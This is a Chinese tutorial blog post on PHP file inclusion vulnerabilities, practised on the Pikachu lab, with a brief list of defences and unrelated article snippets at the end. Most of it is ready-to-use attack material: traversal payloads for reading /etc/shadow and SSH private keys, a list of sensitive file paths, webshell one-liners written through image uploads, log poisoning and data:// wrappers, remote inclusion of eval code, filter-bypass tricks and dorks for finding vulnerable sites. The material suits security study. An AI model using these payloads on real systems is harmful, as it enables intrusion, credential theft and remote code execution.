当前位置: 首页 > news >正文

pikachu文件包含漏洞

一:漏洞基础

程序在引用文件的时,引用的文件名存在可控的情况,传入的文件名没有经过合理的校验或校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入;

文件包含漏洞概念

在PHP程序中使用文件包含的对象可以被前端的用户控制且没有经过过滤或严格的定义,用户可以将其他的
文件作为参数带入到PHP代码中解释执行,从而造成敏感信息泄露/程序文件读取/GetShell等危害的漏
洞

1.1:高危函数

require() 和 include() 函数的区别:使用 require() 函数包含文件时,只要程序执行,立即调用文件,而 include() 只有程序执行到该函数时才调用 。其他用于包含的函数: highlight_file()、 show_source()、 readfile()、 file_get_contents()、fopen()、file()

文件包含是执行被包含文件中的PHP代码,而文件打开则是读取文件中的内容不会执行!

1.2:源码分析

# 漏洞解析
$_GET['filename'] 接收客户端传的参数,其中没有任何过滤 带入到 include 函数中,include
包含这个文件,引入到当前文件中,因此会造成文件包含漏洞;
# 文件包含
fi_local.php?filename=../../../windows/win.ini&submit=提交查询
# 注解
../是上一级路径,如果存在漏洞文件又存在的时候,不是 php 文件会被读取显示在页面中;

二:漏洞利用

文件包含漏洞分为本地文件包含漏洞(Local File include,LFI)与远程文件包含漏洞(Remote Fileinclude,RFI);

本地包含文件即被包含的文件在本地中,可通过读取系统存在的文件获取信息/上传图片GetShell/包含

2.1:本地文件包含(LFI)

指通过相对路径/绝对路径 的方式能打开并包含 本地文件的漏洞,大部分情况遇到的文件包含漏洞都是 LFI !

包含条件: 用户可以动态控制变量!

包含常用路径
# 日志文件包含GetShell
/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log
# 读取网站配置文件
dedecms 数据库配置文件 data/common.inc.php
discuz 全局配置文件 config/config_global.php
phpcms 配置文件 caches/configs/database.php
phpwind 配置文件 conf/database.php
wordpress 配置文件 wp-config.php
# Windows
C:/boot.ini //查看系统版本
C:/Windows/System32/inetsrv/MetaBase.xml //IIS 配置文件
C:/Windows/repairsam //存储系统初次安装的密码
C:/Program Files/mysql/my.ini //Mysql 配置
C:/Program Files/mysql/data/mysql/user.MYD //Mysql root
C:/Windows/php.ini //php 配置信息
C:/Windows/my.ini //Mysql 配置信息
C:/Windows/win.ini // 配置信息
# Linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
# Payload
fi_local.php?filename=../../../windows/win.ini&submit=提交查询
/fi_local.php?filename=../../../../etc/passwd&submit=提交查询
# 相关靶场
http://123.206.127.23:8080 //Linux主机
包含图片GetShel
步骤一:先制作图片马
copy 1.jpg/b + 1.php/a 2.jpg

步骤二:通过文件上传模块上传一张GIF图片并获取其地址...如下
http://192.168.1.5/pikachu/vul/unsafeupload/uploads/2.jpg
步骤三:在文件包含页面进行文件包含...并GetShell
http://192.168.1.5/pikachu/vul/fileinclude/fi_local.php?
filename=../../../../info.jpg&submit=提交查询

蚁剑连接

步骤四:讲如下代码写入到图片马中并再次上传,并进行文件包含操作...
一句话木马
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>
包含执行
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?
filename=../../unsafeupload/uploads/4.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A
5%E8%AF%A2

步骤四:进行文件包含后会在漏洞的当前目录下产生 shell.php 后面文件访问并连接...
127.0.0.1/pikachu/vul/fileinclude/shell.php

到指定目录下查看是否上传成功

蚁剑链接

包含日志GetShel

中间件例如 iis /apache/nginx 这些 web 中间件都会记录访问日志,如果访问日志中或错误日志中, 存在有 php 代码也可以引入到文件包含中,如果日志有 php 恶意代码也可导致 getshell;在linux下日志文件权限默认是 root 而php 的权限是 www-data 一般情况下都是读取不了,如果是windows 环境下是可以权限是允许的;

# 获取Apache日志路径
/etc/init.d/httpd
/etc/httpd/conf/httpd.conf
# 日志文件位置
phpstudy_pro\Extensions\Apache2.4.39\logs
/var/log/apache2/access.log
# Apache产生的日志文件
/Apache/logs/
-access.log #记录前端用户的访问日志
-error.log #记录Apache运行报错的记录
步骤一:制作一个具有文件包含漏洞的文件如下..存在漏洞,并且日志会记录;

# 漏洞代码

<?php

include $_GET['file'];

?>

# 日志文件

C:\phpStudy\PHPTutorial\Apache\logs\access.log

E:/uninstall/phpstudy_pro/Extensions/Nginx1.15.11/logs/localhost_acess.log

# 遇到问题

发现logs文件夹里面只有error.log且没有access.log修改httpd.

#CustomLog "logs/access.log" common 去掉前面这个#号

步骤二:我们可以直接插入恶意的php代码,使其记录下来;需注意浏览器会把 <> 编码,可以使用burp绕过;

改成

步骤三:日志记录,直接包含日志就可以了;注意在phpstudy里面可以,但是在linux里面可能就不行了,因为可能没有权限;
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../../../../Extensions/Nginx1.15.11/logs/access.log&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

TIPS: 日志包含的时候,往往在日志文件之前有一些个错误,那么你再怎么努力也无济于事!!!日志文件往往是按天会生成新的文件。(凌晨的成功率较高)

PHP伪协议
<?php
include $_GET['file'];
?>

PHP 伪协议事实上就是支持的协议 封装协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect://
1. php.ini参数设置

在 php.ini 里有两个重要的参数 allow_url_fopen 、 allow_url_include ;

allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件;

allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件;

各协议的利用条件和方法:

2. file://协议
使用:file://文件的绝对路径和文件名
举例:
/lfi.php?file=file://c:\windows\system32\drivers\etc\hosts
/lfi.php?file=file://c:\windows\win.ini

3. php://filter协议
用途:常用于读取文件/源码
使用:?path=php://filter/read=convert.base64-encode/resource=文件.php
注意:通过指定末尾的文件,可以读取经 base64 加密后的文件源码 ,之后再 base64 解码,虽然不
能直接获取到 shell,但能读取敏感文件 。
php://filter 协议与 file:// 协议的区别:file 协议只能使用 绝对路径 ,filter 协议相对
路径和绝对路径 都可以使用
举例:
/lfi.php?file=php://filter/read=convert.base64-encode/resource=123.php
/lfi.php?file=php://filter/read=convert.base64-
encode/resource=c:\windows\win.ini
是在尝试通过 PHP 的过滤器来读取并以 Base64 编码的方式获取资源“c:\windows\win.ini”的内容。

4. php://input协议

php://input 可以访问请求的原始数据的只读流,将 post 请求的数据当作 php 代码执行。当传入

的参数作为文件名打开时,可以将参数设为 php://input,同时 post 想设置的文件内容,php 执行

时会将 post 内容当作文件内容;

注:当 enctype="multipart/form-data",php://input 是无效的;

php.ini 条件是 allow_url_fopen =ON allow_url_include=ON;

设置请求为 post 请求 在正文输入 php 代码提交即可允许;

5. data://

data://text/plain,(php代码)

?file=data://text/plain,

使用条件:
allow_url_fopen = on
allow_url_include = on
使用举例:
?file=data:text/plain,<?php phpinfo();?>
?file=data:text/plain;base64, PD9waHAgcGhwaW5mbygpPz4=
webshell构造:
URL: ?file=data://text/plain,<?php eval($_POST[1])?>
Webshell密码: 1

6. zip://
用途:读取压缩包内的文件(绝对路径/相对路径)
使用条件:allow_url_fopen = on
使用举例:
zip://[压缩文件绝对/相对路径]#[压缩文件内的子文件名](#编码为%23)
lfi.php?file=zip://E:/xxx.zip%23xxx.png

7. phar://
用途:读取压缩包内的文件(绝对路径/相对路径)
使用条件:allow_url_fopen = on
举例:
/lfi.php?file=phar://E:/xxx.zip/xxx.png
其他类似协议:
bzip2://
zlib://

2.2:远程文件包含(RFI)

当远程文件开启时,可以包含远程文件到本地执行也称为RFI!
当 allow_url_fopen=On allow_url_include=ON ** 两个条件同时为 On 允许远程包含文件**; 
---》phpinfo() l.php/info.php
步骤一:讲以下代码存储到1.txt中并开启HTTP服务器对外访问...
<?php phpinfo();@eval($_POST[1]);?>

步骤二:访问 lfi.php?file=[http://127.0.0.1/1.txt](http://127.0.0.1/1.txt)

2.3:文件包含限制绕过
<?php
$file = $_GET["file"];
include $file.".txt";
highlight_file(__FILE__);
?>
方法一:00截断
条件:1. magic_quotes_gpc = Off 2. php 版本 < 5.3.4
获取 phpinfo.php 文件

方法二:路径长度截断
操作系统存在最大路径长度的限制。可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,
导致扩展名截断。
Windows下目录的最大路径256B
Linux下目录的最大路径长度为4096B
条件:windows 系统需要长于 197 字符 (即 >=198),超出的部分会被丢弃

方法三:问号绕过
payload:1.php?file=http://127.0.0.1/1.txt?

方法四:#绕过
payload:1.php?file=http://127.0.0.1/1.txt%23

方法五:空格绕过
payload:
1.php?file=http://127.0.0.1/1.txt%20
1.php?file=http://127.0.0.1/1.txt+
1.php?file=http://127.0.0.1/1.txt abc

方法六:编码绕过

服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。

利用URL编码绕过

%2e%2e%2f === ../
%2e%2e%5c === ..\
%2e = .
%2f = /
%5c = \

二次URL编码

%252e%252e%252f%252e%252e%252f ---> 服务器接收解码一次 %2e%2f

三:挖掘防护

# 挖掘姿势
inurl:/.php?incluede=
inurl:/.PHP?file=
inurl:/.php?page=
# 易受本地文件包含 (LFI) 漏洞影响的前 25 个参数的列表
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
# 漏洞防护
1. 严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是
否可被外部控制;
2. 路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:"../";
3. 包含文件验证:验证被包含的文件是否是白名单中的一员;
4. 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include('head.php');
5. 设置 allow_url_include 为 Off ;

相关文章:

pikachu文件包含漏洞

一&#xff1a;漏洞基础 程序在引用文件的时&#xff0c;引用的文件名存在可控的情况&#xff0c;传入的文件名没有经过合理的校验或校验不严&#xff0c;从而操作了预想之外的文件&#xff0c;就有可能导致文件泄漏和恶意的代码注入&#xff1b; 文件包含漏洞概念 在PHP程序…...

09.FreeRTOS时间片调度与任务相关函数

文章目录 09. FreeRTOS时间片调度与任务相关函数1. FreeRTOS时间片调度2. 任务状态查询API函数3. 任务时间统计API函数 09. FreeRTOS时间片调度与任务相关函数 1. FreeRTOS时间片调度 时间片调度简介&#xff1a; 时间片调度实验流程&#xff1a; 核心代码&#xff1a; 开…...

git分支介绍

git branch 查看当前分支情况 可以看见当前只有一个分支叫main&#xff0c;也就是默认分支&#xff0c;可以理解为树的主干&#xff0c;git早期版本中默认分支叫master 命令行创建一个新分支 git branch [分支名]在创建之后&#xff0c;如果需要切换到新分支需要git switc…...

vm虚拟机下安装CentOS7系统

VMware16安装CentOS7 1.启动之前安装的VM 具体VMware安装过程 2.配置Linux&#xff08;centos7&#xff09;的镜像文件 选择安装镜像文件 4.开启虚拟机 开始读秒安装 选择安装过程中使用的语言&#xff0c;这里选择英文、键盘选择美式键盘。点击Continue 首先设置时间…...

python-报数(赛氪OJ)

[题目描述] 有 n 人围成一圈&#xff0c;顺序排号。 从第 1 个人开始报数&#xff08;从 1 到 3 报数&#xff09;&#xff0c;凡是报到 3 的人退出圈子&#xff0c;问最后留下的是原来的第几号的那位。输入格式&#xff1a; 初始人数 n 。输出格式&#xff1a; 最后一人的初始…...

灵办AI:智能插件,办公与编程的得力助手

目录 引言一、灵办AI&#xff1a;智能化的办公伙伴二、编程能力&#xff1a;&#x1f525;代码阅读&#xff0c;学习助手&#x1f525;1、代码解读2、代码续写3、代码优化 三、插件端对话功能&#xff1a;智能交互&#xff0c;流畅体验四、翻译功能&#xff1a;一键翻译&#x…...

食家巷小程序:传统面点与平凉特产的美味盛宴

在美食的世界里&#xff0c;总有一些角落等待着我们去探索&#xff0c;而食家巷小程序就是这样一个为您开启美食宝藏的钥匙。 一、传统面点&#xff0c;传承千年的美味 食家巷小程序为您呈现了种类丰富的传统面点&#xff0c;每一款都蕴含着深厚的历史和文化底蕴。 平凉锅盔&…...

矢量文件坐标转换:2000坐标系转换为wgs84坐标系,具体代码实现

最近在处理矢量样本的时候&#xff0c;遇到一些shp文件的坐标系为2000坐标&#xff0c;需要统一地把非WGS84坐标系的矢量转换为WGS84坐标系。 本文记录一下如何进行2000坐标系转化为wgs84坐标系的过程。 在处理矢量数据转换的过程中&#xff0c;有几个关键步骤确保了数据的有效…...

MySQL-InnoDB引擎

目录 逻辑存储结构 架构 概述 内存结构 Buffer Pool&#xff08;缓冲池&#xff09; Change Buffer&#xff08;更改缓冲区&#xff09; Adaptive Hash Index&#xff08;自适应hash索引&#xff09; Log Buffer&#xff08;日志缓冲区&#xff09; 磁盘结构 System T…...

【Material-UI】复杂按钮 (Complex Button) 自定义详解

文章目录 一、ButtonBase 组件简介二、实例讲解&#xff1a;创建复杂的图片按钮1. 样式定义2. 核心组件构建3. 交互效果 三、高级自定义技巧1. 响应式设计2. 动态内容与动画 四、总结 在现代 Web 应用中&#xff0c;按钮不仅仅是一个点击交互元素&#xff0c;它们也承载着传递信…...

IT服务质量管理攻略(至简)

质量管理、风险管理和信息安全管理是IT服务监督管理的重要内容&#xff0c;三者之间相对独立。IT服务质量管理是通过制订质量方针、质量目标和质量计划&#xff0c;实施质量控制、质量保证和质量改进活动&#xff0c;确保IT服务满足服务级别协议的要求&#xff0c;最终获得用户…...

MySQL事务隔离级别、InnoDB使用MVCC+各种锁实现了RC和RR事务隔离级别、具体案例

事务隔离级别 脏读&#xff1a;一个事务读取到另一个未提交事务的更改。不可重复读&#xff1a;一个事务在两次读取同一数据时&#xff0c;发现数据被另一个已提交事务修改了。幻读&#xff1a;一个事务在读取过程中&#xff0c;因其他事务的插入而导致返回的行数不一致&#…...

你的Java项目还在等待吗?快来学会线程池,解放你的性能!

文章目录 你的Java项目还在等待吗&#xff1f;快来学会线程池&#xff0c;解放你的性能&#xff01;1 什么是线程池&#xff1f;为什么需要它&#xff1f;2 线程池的参数有哪些&#xff1f;3 不同类型的线程池有哪些配置&#xff1f; 你的Java项目还在等待吗&#xff1f;快来学…...

深入解析:Amazon Bedrock 上 Claude 3 Haiku 的微调测试报告

前言 2024年7月10日&#xff0c;Anthropic Claude 3 Haiku 的微调功能在 Amazon Bedrock 上开放预览。本篇文章将分享 Claude 3 Haiku 的微调使用步骤及微调后模型的评估结果。 LLM 细调的优势 通过细调&#xff0c;LLM可以获得特定领域的知识或新知识。这样&#xff0c;与RA…...

2023年庐阳区青少年信息学科普日真题- 马拉松(marathon)

题目描述 环湖马拉松全程 L 公里&#xff0c;已经安排了 N 个补给点&#xff0c;位置已经确定。由于预算增加&#xff0c;现在可以增设 K 个补给点。如何安排新增的补给点使得相邻补给点间最大距离最小。相邻补给点间距离也包括起点与第一个补给点之间的距离和最后一个补给点与…...

Python笔记:socket.gaierror: [Errno -3] Temporary failure in name resolution

【Python】成功解决socket.gaierror: [Errno -3] Temporary failure in name resolution 在Python开发中&#xff0c;使用网络编程时&#xff0c;特别是处理socket连接时&#xff0c;遇到socket.gaierror: [Errno -3] Temporary failure in name resolution这个错误是一个相对…...

HexView 刷写文件脚本处理工具-基本功能介绍(三)-导出S19/HEX

菜单 导出(Export) 此项目将一系列不同的选项组合在一起,用于将内部数据存储为不同的文件格式。每种导出都可以包含一些选项,以调整输出信息。 导出为S-Record格式(Export as S-Record) Motorola S-Record格式导出数据。 记录类型将根据最高地址信息的长度自动选择。…...

代码随想录算法训练营第四天(二)|面试题 02.07. 链表相交 142.环形链表II

面试题 02.07. 链表相交 题目&#xff1a; 给你两个单链表的头节点 headA 和 headB &#xff0c;请你找出并返回两个单链表相交的起始节点。如果两个链表没有交点&#xff0c;返回 null 。 图示两个链表在节点 c1 开始相交&#xff1a; 题目数据 保证 整个链式结构中不存在环…...

学习记录第二十一天

目录操作是指在计算机文件系统中对目录&#xff08;也称为文件夹&#xff09;进行的各种管理操作。目录是组织和存储文件的一种逻辑结构&#xff0c;它帮助用户和系统管理大量文件&#xff0c;使得文件查找和组织更加高效有序。目录操作主要包括以下几种&#xff1a; 1.创建目…...

江协科技51单片机学习- p31 LCD1602液晶屏驱动

&#x1f680;write in front&#x1f680; &#x1f50e;大家好&#xff0c;我是黄桃罐头&#xff0c;希望你看完之后&#xff0c;能对你有所帮助&#xff0c;不足请指正&#xff01;共同学习交流 &#x1f381;欢迎各位→点赞&#x1f44d; 收藏⭐️ 留言&#x1f4dd;​…...

浅谈 React Hooks

React Hooks 是 React 16.8 引入的一组 API&#xff0c;用于在函数组件中使用 state 和其他 React 特性&#xff08;例如生命周期方法、context 等&#xff09;。Hooks 通过简洁的函数接口&#xff0c;解决了状态与 UI 的高度解耦&#xff0c;通过函数式编程范式实现更灵活 Rea…...

多场景 OkHttpClient 管理器 - Android 网络通信解决方案

下面是一个完整的 Android 实现&#xff0c;展示如何创建和管理多个 OkHttpClient 实例&#xff0c;分别用于长连接、普通 HTTP 请求和文件下载场景。 <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas…...

Go 语言接口详解

Go 语言接口详解 核心概念 接口定义 在 Go 语言中&#xff0c;接口是一种抽象类型&#xff0c;它定义了一组方法的集合&#xff1a; // 定义接口 type Shape interface {Area() float64Perimeter() float64 } 接口实现 Go 接口的实现是隐式的&#xff1a; // 矩形结构体…...

【单片机期末】单片机系统设计

主要内容&#xff1a;系统状态机&#xff0c;系统时基&#xff0c;系统需求分析&#xff0c;系统构建&#xff0c;系统状态流图 一、题目要求 二、绘制系统状态流图 题目&#xff1a;根据上述描述绘制系统状态流图&#xff0c;注明状态转移条件及方向。 三、利用定时器产生时…...

Maven 概述、安装、配置、仓库、私服详解

目录 1、Maven 概述 1.1 Maven 的定义 1.2 Maven 解决的问题 1.3 Maven 的核心特性与优势 2、Maven 安装 2.1 下载 Maven 2.2 安装配置 Maven 2.3 测试安装 2.4 修改 Maven 本地仓库的默认路径 3、Maven 配置 3.1 配置本地仓库 3.2 配置 JDK 3.3 IDEA 配置本地 Ma…...

Java求职者面试指南:计算机基础与源码原理深度解析

Java求职者面试指南&#xff1a;计算机基础与源码原理深度解析 第一轮提问&#xff1a;基础概念问题 1. 请解释什么是进程和线程的区别&#xff1f; 面试官&#xff1a;进程是程序的一次执行过程&#xff0c;是系统进行资源分配和调度的基本单位&#xff1b;而线程是进程中的…...

站群服务器的应用场景都有哪些?

站群服务器主要是为了多个网站的托管和管理所设计的&#xff0c;可以通过集中管理和高效资源的分配&#xff0c;来支持多个独立的网站同时运行&#xff0c;让每一个网站都可以分配到独立的IP地址&#xff0c;避免出现IP关联的风险&#xff0c;用户还可以通过控制面板进行管理功…...

群晖NAS如何在虚拟机创建飞牛NAS

套件中心下载安装Virtual Machine Manager 创建虚拟机 配置虚拟机 飞牛官网下载 https://iso.liveupdate.fnnas.com/x86_64/trim/fnos-0.9.2-863.iso 群晖NAS如何在虚拟机创建飞牛NAS - 个人信息分享...

PHP 8.5 即将发布:管道操作符、强力调试

前不久&#xff0c;PHP宣布了即将在 2025 年 11 月 20 日 正式发布的 PHP 8.5&#xff01;作为 PHP 语言的又一次重要迭代&#xff0c;PHP 8.5 承诺带来一系列旨在提升代码可读性、健壮性以及开发者效率的改进。而更令人兴奋的是&#xff0c;借助强大的本地开发环境 ServBay&am…...

【学习笔记】erase 删除顺序迭代器后迭代器失效的解决方案

目录 使用 erase 返回值继续迭代使用索引进行遍历 我们知道类似 vector 的顺序迭代器被删除后&#xff0c;迭代器会失效&#xff0c;因为顺序迭代器在内存中是连续存储的&#xff0c;元素删除后&#xff0c;后续元素会前移。 但一些场景中&#xff0c;我们又需要在执行删除操作…...